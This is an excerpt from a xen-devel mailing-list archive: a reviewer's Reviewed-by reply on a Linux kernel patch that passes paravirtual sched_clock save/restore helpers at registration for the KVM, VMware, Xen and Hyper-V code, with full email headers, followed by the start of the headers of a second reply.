 id 6a46a45c-400f-0a2a45010019-34670715cc7a-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 19:48:13 +0200
Received: from SN6PR02MB4157.namprd02.prod.outlook.com (2603:10b6:805:33::23)
 by LV8PR02MB10144.namprd02.prod.outlook.com (2603:10b6:408:18f::17)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.8; Thu, 2 Jul 2026
 17:48:08 +0000
Received: from SN6PR02MB4157.namprd02.prod.outlook.com
 ([fe80::900:1ccf:2b1e:52b6]) by SN6PR02MB4157.namprd02.prod.outlook.com
 ([fe80::900:1ccf:2b1e:52b6%3]) with mapi id 15.21.0181.008; Thu, 2 Jul 2026
 17:48:08 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=outlook.com header.i="@outlook.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=RtYz6mZVqa+x8k+wF/ExqMa3lMG2xQ89vEMzvj1jy4kYvuqUqCrU+zvDWECeujr6duw4q+MGef/aPYbW5DyxveRpEFD9IviMlNICIblVr62jARsqWc8vyzZpoNXKbfOOB0mtIjlWOU48kVOxutoWeIvdCA6vqA6Cl0oK1EBymVbIQmfxnbhSbB08O6I9nYdkB35XYwAuiahQoxe65qBvjHnTgv9ee+P9XLAS3vA/EB9eXk0okHi1vQxrHIR7XjKi3YUQdOBsVObbiAgDrR7M/JJJUPj8K6EsMQMz9JWhwqlgsriOQ8GFLeiR3bNcG5rPm3dkco5XIKnoDPeDQhIX+A==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=EF/dNgUAPKgXvgYHOIu4XocLCofCHLr1YWn24Zv2Z+0=;
 b=Oe2s20JC83+Z2Lwrg1m8O8+N2Jm7nqnqKQmjNsaNOtZBqp9EDcHr0cYh7qy4e+2k8DFJ47mpbcTlAhjRyXp5jMu/iXa9rxvbeHR7rT3+ycc8damCmxgsqNfoTnWRfLfpnBV/6KzpAHyMnCJIE0N0amCr2xYSW9eWznsZlg4ejwI7QyQ2zyA5AJ8iFCwmbyU4oGU9deV04rrdxuBsS1VG5QnsJsj40c4KRBGom9n4CUd3/xYWKiDTgQpQSc5zEexUaAd1xsRYjTK3Lr4v45lK96pZdxxyE/DbyItR8R+FdOnZpy3VBbZ6DOrQAn6tc4mP+JOrXfv/l8OzDzJAB/ZJ2A==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=none; dmarc=none;
 dkim=none; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=outlook.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=EF/dNgUAPKgXvgYHOIu4XocLCofCHLr1YWn24Zv2Z+0=;
 b=YsU6Xe2mKi4pkrWmG465otDnzxZhDpfKwy7HhSX4fsl9MMSCMVCAKuwcJzKiPpv8SE3J01UL/W38oZCKcyS2z2Bz+ltS33wArpmXBmcoZ6JoXi9CrPVopWwXx3P/EkMatS0Obsp6mGYPOo3eWR54/pXdIjR0Vc1iCRkJfgKikm6txyJa8ojCz35dDJkyU72/u9cCp+9jhkhtTzHDBwdEKmZG92OjMC7gdgxuPp9PbgcX1hp8cDtuk3EkJATb+/D7XnLSP4uI/T0SapU1W8CVyzb8YsygyrsbidqtpUPZLYEIljGqyr/jIpsRlY+bNZPRovgfTkUziUoCnKrVEoEtzA==
From: Michael Kelley <mhklinux@outlook.com>
To: Sean Christopherson <seanjc@google.com>, Jonathan Corbet <corbet@lwn.net>,
	Paolo Bonzini <pbonzini@redhat.com>, Thomas Gleixner <tglx@kernel.org>, Ingo
 Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, Dave Hansen
	<dave.hansen@linux.intel.com>, "x86@kernel.org" <x86@kernel.org>, Kiryl
 Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, "K.
 Y. Srinivasan" <kys@microsoft.com>, Haiyang Zhang <haiyangz@microsoft.com>,
	Wei Liu <wei.liu@kernel.org>, Dexuan Cui <decui@microsoft.com>, Long Li
	<longli@microsoft.com>, Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov
	<alexey.makhalov@broadcom.com>, Jan Kiszka <jan.kiszka@siemens.com>, Andy
 Lutomirski <luto@kernel.org>, Peter Zijlstra <peterz@infradead.org>, Juergen
 Gross <jgross@suse.com>, Daniel Lezcano <daniel.lezcano@kernel.org>, John
 Stultz <jstultz@google.com>
CC: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>, Broadcom internal kernel review list
	<bcm-kernel-feedback-list@broadcom.com>, Boris Ostrovsky
	<boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>,
	"linux-doc@vger.kernel.org" <linux-doc@vger.kernel.org>,
	"kvm@vger.kernel.org" <kvm@vger.kernel.org>, "linux-kernel@vger.kernel.org"
	<linux-kernel@vger.kernel.org>, "linux-coco@lists.linux.dev"
	<linux-coco@lists.linux.dev>, "linux-hyperv@vger.kernel.org"
	<linux-hyperv@vger.kernel.org>, "virtualization@lists.linux.dev"
	<virtualization@lists.linux.dev>, "xen-devel@lists.xenproject.org"
	<xen-devel@lists.xenproject.org>, Tom Lendacky <thomas.lendacky@amd.com>,
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>,
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>,
	Thomas Gleixner <tglx@linutronix.de>
Subject: RE: [PATCH v5 36/51] x86/paravirt: Pass sched_clock save/restore
 helpers during registration
Thread-Topic: [PATCH v5 36/51] x86/paravirt: Pass sched_clock save/restore
 helpers during registration
Thread-Index: AQHdCZB1dwmhmpW5S0uF1Oay95dScrZagr+Q
Date: Thu, 2 Jul 2026 17:48:07 +0000
Message-ID:
 <SN6PR02MB4157B9479825C6EFDCFCADA3D4F52@SN6PR02MB4157.namprd02.prod.outlook.com>
References: <20260701193212.749551-1-seanjc@google.com>
 <20260701193212.749551-37-seanjc@google.com>
In-Reply-To: <20260701193212.749551-37-seanjc@google.com>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: SN6PR02MB4157:EE_|LV8PR02MB10144:EE_
x-ms-office365-filtering-correlation-id: c3577bdd-ddd7-41d3-8060-08ded8621392
x-ms-exchange-slblob-mailprops:
 znQPCv1HvwUXBahuwteIkQeW30lJPuxO32JBo/6Xj0q/IUmNyxK81DjJPNRS+7GLYAeX8QbO+oXhFFrbJB8myfneXiZHb4wpCkSb1knjoi5fJ2SzBjtbKkwz2HggYIp3qH4EMSOVGj/ID1EiDoSTSsNLy5W8JKhXABkiAcHsYPOvzQ7A1J5PkOYTPSUsZCDFtBiFaE9OcowlIeR2HStX9DW5RQct6iXUHNlw1Bkvy1S2OpMsbYtDEpbJ87QuqoCQwdAel5iMQvgCKo/NmC+hhDy5LNldjH935YL8I5D3qDEYPhwBaSR2Z0fjOaagYj9tEE2d94nnJfy0eDXGbNPXEy6uN0yTZXNTDFBnV1nuwmEds+SVuGIHPk2+zt22ZIVdTvPfIo74NJBwtGV0O80YNnN9MbsbsjS06p0DDqUJbgRzq1nSK2iNI1tgPOxX3ha3LFnq2UEMeuh45D19QqlE6lBbIIXAf+f6cgOZd3ofTL6esOzyJpTXIAMwE32QmrzmjUw+FLYz28x3tq9hY5KMEXyTD7IN7bzP4NhwFxGDU2GcKyOiCEwJcqoQOFuMj1dwlN2eoeGYZhNRbil21mjCVQSa+68QtdCwlgayQVuT8vGkDTLshY8soMhxazUxRs9+K5CiYrwZ7WK8dB0+cqZQrWfDHNXkw2pm/rs8CagOrmHq3acGv5i1kv0lmnnM2LDfQ2SF8EhBzaYubyM3gm9bbX8aYLmI0SS4eyFjQ0y/rI2rTDwgHGEJtXYhZWNE+PaTJ+eAPcPxRAI=
x-microsoft-antispam:
 BCL:0;ARA:14566002|16051099003|51005399006|19101099003|2604032031799003|704163111799003|37011999003|13091999003|8060799015|8062599012|31061999003|41001999006|19110799012|25010399006|15080799012|12121999013|40105399003|19061999003|11031999003|12091999003|102099032|440099028|3412199025|1710799026;
x-micro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?=
 =?us-ascii?Q?ra9OpKmlModRZBR8jmRn8ty1kooLar4AbDQJHK6YXczcINKZPergSq8zfdv3?=
 =?us-ascii?Q?vKGhyUgxgOjIxhsor5N+gyWdV23ebh0sXNxgKFhXrBx1o4wwKO0AMXOpQaCw?=
 =?us-ascii?Q?kkxz2ZHCHb/0u/6t/3GH0r93VAUNRKLJ4Um2Mbefm8Q1GCKYAgCMQDSIYEaX?=
 =?us-ascii?Q?2nPkeoRmu4MQ6XxHfyIslv3mCYzwbmbe6hW37uLEIpGOSTQCMZuEIJIszBF2?=
 =?us-ascii?Q?TY1dHesSnZvcXasP/yDorZ06ypiJN0gYco2/sceilJ5TYWhvBBoTNd0uByXH?=
 =?us-ascii?Q?lohrZoV0BbwetyFbFKeyl4zj7VQyAo1cLczRUFdqUsWsnXv/+N5n/MwQ9XkA?=
 =?us-ascii?Q?5LaZBeI2tc+lkO+h2rAqkpaRL7UZ7LAx8zsvA2jk6U+gJOYK2j8i58uB1t1V?=
 =?us-ascii?Q?72yiTPFWK0GN7ESg+5qJZzfwb4QH6zw1kiPr65VKbkm1+MI3Nxl6GbMtROCD?=
 =?us-ascii?Q?HSw=3D?=
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?us-ascii?Q?Ooju6lp8Kv0IJer1HnQ3REULmZb5dOz25hSVv5ifBIxccmJfxbOBwAIB0ubY?=
 =?us-ascii?Q?4r0trWqslkalqnuJcBFBNpSYdINUBIyh/OBw/BtG21imZ7PAdk1IW+Lywt+r?=
 =?us-ascii?Q?Bfl/teca13r6hAANUGB9pTZNK7YevcV81SV5I54J9o5ht4hJPrrx+AOQ/fGM?=
 =?us-ascii?Q?jUDuabevRuiYA1zDkUJcSPP5sCoAAKceSfK6rwt3easEbonDache1r7GqdyO?=
 =?us-ascii?Q?+/RaD/Le9rC9lGRjMu/w63CryrPX3MwvUTtVNaOi3ec9e9wbKcNqGj9JX6CA?=
 =?us-ascii?Q?xolc1jnHpj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rJEG/xPGJw1MpxWDZxPKRSDJQS5n/sNWtrq48Ky5P?=
 =?us-ascii?Q?zGW3ajxvruWow4SliJ0eYE9KKdDTb/Et/RpH8+blxlH6lLpEUt/92E6NtIbF?=
 =?us-ascii?Q?912JXJ8ZY/xCk9L39VWnEutHAMwkxSqdcDaqSaGSFkq8WMCM10Vy3vKY4D4U?=
 =?us-ascii?Q?DLT4elQRFike6WuVODeauQxJusObRNqow0JuTsi1F9Ni4RRJ7Tu3V8dy/TUe?=
 =?us-ascii?Q?OR8U0lo=3D?=
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
X-OriginatorOrg: outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: SN6PR02MB4157.namprd02.prod.outlook.com
X-MS-Exchange-CrossTenant-RMS-PersistedConsumerOrg: 00000000-0000-0000-0000-000000000000
X-MS-Exchange-CrossTenant-Network-Message-Id: c3577bdd-ddd7-41d3-8060-08ded8621392
X-MS-Exchange-CrossTenant-originalarrivaltime: 02 Jul 2026 17:48:07.9363
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 84df9e7f-e9f6-40af-b435-aaaaaaaaaaaa
X-MS-Exchange-CrossTenant-rms-persistedconsumerorg: 00000000-0000-0000-0000-000000000000
X-MS-Exchange-Transport-CrossTenantHeadersStamped: LV8PR02MB10144
X-purgate-ID: tlsNG-d62444/1783014493-D16DE1E0-B09061BB/0/0
X-purgate-type: clean
X-purgate-size: 6262

From: Sean Christopherson <seanjc@google.com> Sent: Wednesday, July 1, 2026=
 12:32 PM
>=20
> Pass in a PV clock's save/restore helpers when configuring sched_clock
> instead of relying on each PV clock to manually set the save/restore hook=
s.
> In addition to bringing sanity to the code, this will allow gracefully
> "rejecting" a PV sched_clock, e.g. when running as a CoCo guest that has
> access to a "secure" TSC.
>=20
> No functional change intended.
>=20
> Reviewed-by: David Woodhouse <dwmw@amazon.co.uk>
> Signed-off-by: Sean Christopherson <seanjc@google.com>

For the Hyper-V changes,

Reviewed-by: Michael Kelley <mhklinux@outlook.com>

> ---
>  arch/x86/include/asm/timer.h       | 9 ++++++---
>  arch/x86/kernel/cpu/vmware.c       | 8 +++-----
>  arch/x86/kernel/kvmclock.c         | 6 +++---
>  arch/x86/kernel/tsc.c              | 5 ++++-
>  arch/x86/xen/time.c                | 5 ++---
>  drivers/clocksource/hyperv_timer.c | 6 ++----
>  6 files changed, 20 insertions(+), 19 deletions(-)
>=20
> diff --git a/arch/x86/include/asm/timer.h b/arch/x86/include/asm/timer.h
> index fe41d40a9ae6..e97cd1ae03d1 100644
> --- a/arch/x86/include/asm/timer.h
> +++ b/arch/x86/include/asm/timer.h
> @@ -14,11 +14,14 @@ extern int no_timer_check;
>  extern bool using_native_sched_clock(void);
>=20
>  #ifdef CONFIG_PARAVIRT
> -void __paravirt_set_sched_clock(u64 (*func)(void), bool stable);
> +void __paravirt_set_sched_clock(u64 (*func)(void), bool stable,
> +				void (*save)(void), void (*restore)(void));
>=20
> -static inline void paravirt_set_sched_clock(u64 (*func)(void))
> +static inline void paravirt_set_sched_clock(u64 (*func)(void),
> +					    void (*save)(void),
> +					    void (*restore)(void))
>  {
> -	__paravirt_set_sched_clock(func, true);
> +	__paravirt_set_sched_clock(func, true, save, restore);
>  }
>  #endif
>=20
> diff --git a/arch/x86/kernel/cpu/vmware.c b/arch/x86/kernel/cpu/vmware.c
> index 5c1ccaf4a25e..232255279a6e 100644
> --- a/arch/x86/kernel/cpu/vmware.c
> +++ b/arch/x86/kernel/cpu/vmware.c
> @@ -347,11 +347,9 @@ static void __init vmware_paravirt_ops_setup(void)
>=20
>  	vmware_cyc2ns_setup();
>=20
> -	if (vmw_sched_clock) {
> -		paravirt_set_sched_clock(vmware_sched_clock);
> -		x86_platform.save_sched_clock_state =3D x86_init_noop;
> -		x86_platform.restore_sched_clock_state =3D x86_init_noop;
> -	}
> +	if (vmw_sched_clock)
> +		paravirt_set_sched_clock(vmware_sched_clock,
> +					 x86_init_noop, x86_init_noop);
>=20
>  	if (vmware_is_stealclock_available()) {
>  		has_steal_clock =3D true;
> diff --git a/arch/x86/kernel/kvmclock.c b/arch/x86/kernel/kvmclock.c
> index 07e875738c39..5b9955343199 100644
> --- a/arch/x86/kernel/kvmclock.c
> +++ b/arch/x86/kernel/kvmclock.c
> @@ -158,7 +158,9 @@ static void kvm_restore_sched_clock_state(void)
>  static inline void kvm_sched_clock_init(bool stable)
>  {
>  	kvm_sched_clock_offset =3D kvm_clock_read();
> -	__paravirt_set_sched_clock(kvm_sched_clock_read, stable);
> +	__paravirt_set_sched_clock(kvm_sched_clock_read, stable,
> +				   kvm_save_sched_clock_state,
> +				   kvm_restore_sched_clock_state);
>=20
>  	pr_info("kvm-clock: using sched offset of %llu cycles",
>  		kvm_sched_clock_offset);
> @@ -367,8 +369,6 @@ void __init kvmclock_init(bool prefer_tsc)
>  #ifdef CONFIG_SMP
>  	x86_cpuinit.early_percpu_clock_init =3D kvm_setup_secondary_clock;
>  #endif
> -	x86_platform.save_sched_clock_state =3D kvm_save_sched_clock_state;
> -	x86_platform.restore_sched_clock_state =3D kvm_restore_sched_clock_stat=
e;
>  	kvm_get_preset_lpj();
>=20
>  	/*
> diff --git a/arch/x86/kernel/tsc.c b/arch/x86/kernel/tsc.c
> index 7473dcab4775..83353d643150 100644
> --- a/arch/x86/kernel/tsc.c
> +++ b/arch/x86/kernel/tsc.c
> @@ -280,12 +280,15 @@ bool using_native_sched_clock(void)
>  	return static_call_query(pv_sched_clock) =3D=3D native_sched_clock;
>  }
>=20
> -void __paravirt_set_sched_clock(u64 (*func)(void), bool stable)
> +void __paravirt_set_sched_clock(u64 (*func)(void), bool stable,
> +				void (*save)(void), void (*restore)(void))
>  {
>  	if (!stable)
>  		clear_sched_clock_stable();
>=20
>  	static_call_update(pv_sched_clock, func);
> +	x86_platform.save_sched_clock_state =3D save;
> +	x86_platform.restore_sched_clock_state =3D restore;
>  }
>  #else
>  u64 sched_clock_noinstr(void) __attribute__((alias("native_sched_clock")=
));
> diff --git a/arch/x86/xen/time.c b/arch/x86/xen/time.c
> index 477441752f40..8cd8bfaf1320 100644
> --- a/arch/x86/xen/time.c
> +++ b/arch/x86/xen/time.c
> @@ -566,13 +566,12 @@ static void __init xen_init_time_common(void)
>  {
>  	xen_sched_clock_offset =3D xen_clocksource_read();
>  	static_call_update(pv_steal_clock, xen_steal_clock);
> -	paravirt_set_sched_clock(xen_sched_clock);
> +
>  	/*
>  	 * Xen has paravirtualized suspend/resume and so doesn't use the common
>  	 * x86 sched_clock save/restore hooks.
>  	 */
> -	x86_platform.save_sched_clock_state =3D x86_init_noop;
> -	x86_platform.restore_sched_clock_state =3D x86_init_noop;
> +	paravirt_set_sched_clock(xen_sched_clock, x86_init_noop, x86_init_noop)=
;
>=20
>  	x86_init.hyper.get_tsc_khz =3D xen_tsc_khz;
>  	x86_platform.get_wallclock =3D xen_get_wallclock;
> diff --git a/drivers/clocksource/hyperv_timer.c b/drivers/clocksource/hyp=
erv_timer.c
> index 220668207d19..8ee7a9de0f4f 100644
> --- a/drivers/clocksource/hyperv_timer.c
> +++ b/drivers/clocksource/hyperv_timer.c
> @@ -570,10 +570,8 @@ static void hv_restore_sched_clock_state(void)
>  static __always_inline void hv_setup_sched_clock(void *sched_clock)
>  {
>  	/* We're on x86/x64 *and* using PV ops */
> -	paravirt_set_sched_clock(sched_clock);
> -
> -	x86_platform.save_sched_clock_state =3D hv_save_sched_clock_state;
> -	x86_platform.restore_sched_clock_state =3D hv_restore_sched_clock_state=
;
> +	paravirt_set_sched_clock(sched_clock, hv_save_sched_clock_state,
> +				 hv_restore_sched_clock_state);
>  }
>  #else /* !CONFIG_GENERIC_SCHED_CLOCK && !CONFIG_PARAVIRT */
>  static __always_inline void hv_setup_sched_clock(void *sched_clock) {}
> --
> 2.55.0.rc0.799.gd6f94ed593-goog
>=20



From xen-devel-bounces@lists.xenproject.org Thu Jul 02 17:48:33 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 17:48:33 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1352308.1609140 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfLWb-00087m-IK; Thu, 02 Jul 2026 17:48:33 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1352308.1609140; Thu, 02 Jul 2026 17:48:33 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfLWb-00087f-Er; Thu, 02 Jul 2026 17:48:33 +0000
Received: by outflank-mailman (input) for mailman id 1352308;
 Thu, 02 Jul 2026 17:48:32 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mhklinux@outlook.com>) id 1wfLWa-00085M-K0
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 17:48:32 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfLWa-008Pbt-0f
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 19:48:32 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mhklinux@outlook.com>)
 id 6a46a462-2eae-0a2a0a5409dd-0a2a4506bc76-34
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 19:48:32 +0200
Received: from [52.103.12.22]
 (helo=BN1PR04CU002.outbound.protection.outlook.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mhklinux@outlook.com>)
 id 6a46a46f-08de-0a2a45060019-34670c168653-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 19:48:31 +0200
Received: from SN6PR02MB4157.namprd02.prod.outlook.com (2603:10b6:805:33::23)
 by LV8PR02MB10144.namprd02.prod.outlook.com (2603:10b6:408:18f::17)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.8; Thu, 2 Jul 2026
 17:48:27 +0000
Received: from SN6PR02MB4157.namprd02.prod.outlook.com
 ([fe80::900:1ccf:2b1e:52b6]) by SN6PR02MB4157.namprd02.prod.outlook.com
 ([fe80::900:1ccf:2b1e:52b6%3]) with mapi id 15.21.0181.008; Thu, 2 Jul 2026
 17:48:27 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=outlook.com header.i="@outlook.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=ieEeUfKOgC00JIcY3PvHgwK7QYDQvGSCasQvpxg6c8IH7ncCF09epUR7IORg7pwa1yzjTTnRDBmQfxNAlUJEwsdHgcLJjkqYmnkt2tM3Ib2sXeUE80hbPZvhwjPzUTiyrpbnq7s1CKbp7Ux3T3unDi+ZLE/YFVdk+vFUHLDk2RadfBsfpKnnVVPsP2cxn9col1omt8zj0yHkoQH2oSs35Qh5ColbY5Y/wxCBZ3t/wla9l0nIV9Sl1S72iCdIk0Lev32HMOC5TsWSqOytSAcRePbN9PTZbS5N/TzFNmXc//HWZjSgGu6K/tHCn9ewIdHYdFcLSBhSKXMD/WUZ2a83DQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=NbBFbp/nzUuGrsjGnl+g4Yfp6IgxX5osOjXE0eNcIFY=;
 b=VG3s8DbNm0ylTYmmX0zWdJvU4dLxDOU8uW0u2fuPPDx4OyjnhCiyj1MRa7H4f2k9bvNQ2ewKmx5+t9xs3KQRKgZQ6SJQwzlBHF18ZsvWxeCqxe7YIY0QuPb1w6RqCbrFqVd2O+a7+IqIkqT1aOk7/jRTrhg5li9IYaaDrvhPZ6E8o1d9a6PNLM+JU53PI6iWh7RN6TiM+W4qjYFWdRR+BtJaH5rvbFL7IOfAH7oFmZ69xRhCB2YjzSfVbTBMAiE+cX7nGjcehn44Wn3UsCWa32Y9LcSooamEPMxfJwUL5tIlLyBF4mqfNnth0FxKFbhs9l9ZTC1jf4wEpDJ0pOPrdw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=none; dmarc=none;
 dkim=none; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=outlook.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=NbBFbp/nzUuGrsjGnl+g4Yfp6IgxX5osOjXE0eNcIFY=;
 b=R7APknHlBYFtJGoVLN5EBazyu5cgiI9bcsty7hyFb13oOSvuxvDls2gyoPIlZoeVg8NV9phoaMsMu+B9P1EopBpCZkj5HWwoVxsljT1mDpn4Kf5ZzqPy0tmGbM18+HiAl9nwUgsmRYk1DV1LTMY9wJPCyHw9VPlOheU2/lGwhRgHw1HWbDGHaIKXEDzuoI2dWpifmqf1D3Vif4VxbG7t9tZg61ffJawpS4SI8cqcSz9yu0SdVxX6oqDdT9y7Oa1O66XNOi9q4SJG9eTLE4zDxgubRJquL/hQL7udfZNSZF0vpCSYtOojHpBjNPZv4dcOAao4yEogaDQsXAxc0YlmHw==
From: Michael Kelley <mhklinux@outlook.com>
To: Sean Christopherson <seanjc@google.com>, Jonathan Corbet <corbet@lwn.net>,
	Paolo Bonzini <pbonzini@redhat.com>, Thomas Gleixner <tglx@kernel.org>, Ingo
 Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, Dave Hansen
	<dave.hansen@linux.intel.com>, "x86@kernel.org" <x86@kernel.org>, Kiryl
 Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, "K.
 Y. Srinivasan" <kys@microsoft.com>, Haiyang Zhang <haiyangz@microsoft.com>,
	Wei Liu <wei.liu@kernel.org>, Dexuan Cui <decui@microsoft.com>, Long Li
	<longli@microsoft.com>, Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov
	<alexey.makhalov@broadcom.com>, Jan Kiszka <jan.kiszka@siemens.com>, Andy
 Lutomirski <luto@kernel.org>, Peter Zijlstra <peterz@infradead.org>, Juergen
 Gross <jgross@suse.com>, Daniel Lezcano <daniel.lezcano@kernel.org>, John
 Stultz <jstultz@google.com>
CC: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>, Broadcom internal kernel review list
	<bcm-kernel-feedback-list@broadcom.com>, Boris Ostrovsky
	<boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>,
	"linux-doc@vger.kernel.org" <linux-doc@vger.kernel.org>,
	"kvm@vger.kernel.org" <kvm@vger.kernel.org>, "linux-kernel@vger.kernel.org"
	<linux-kernel@vger.kernel.org>, "linux-coco@lists.linux.dev"
	<linux-coco@lists.linux.dev>, "linux-hyperv@vger.kernel.org"
	<linux-hyperv@vger.kernel.org>, "virtualization@lists.linux.dev"
	<virtualization@lists.linux.dev>, "xen-devel@lists.xenproject.org"
	<xen-devel@lists.xenproject.org>, Tom Lendacky <thomas.lendacky@amd.com>,
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>,
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>,
	Thomas Gleixner <tglx@linutronix.de>
Subject: RE: [PATCH v5 47/51] x86/paravirt: Don't use a PV sched_clock in CoCo
 guests with trusted TSC
Thread-Topic: [PATCH v5 47/51] x86/paravirt: Don't use a PV sched_clock in
 CoCo guests with trusted TSC
Thread-Index: AQHdCZB9X/lWZeCwrUy8v9Xjt7LqZrZagtZQ
Date: Thu, 2 Jul 2026 17:48:27 +0000
Message-ID:
 <SN6PR02MB4157453D405AB80859B12DF9D4F52@SN6PR02MB4157.namprd02.prod.outlook.com>
References: <20260701193212.749551-1-seanjc@google.com>
 <20260701193212.749551-48-seanjc@google.com>
In-Reply-To: <20260701193212.749551-48-seanjc@google.com>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: SN6PR02MB4157:EE_|LV8PR02MB10144:EE_
x-ms-office365-filtering-correlation-id: 5bf48bad-71fc-4fda-a241-08ded8621f36
x-ms-exchange-slblob-mailprops:
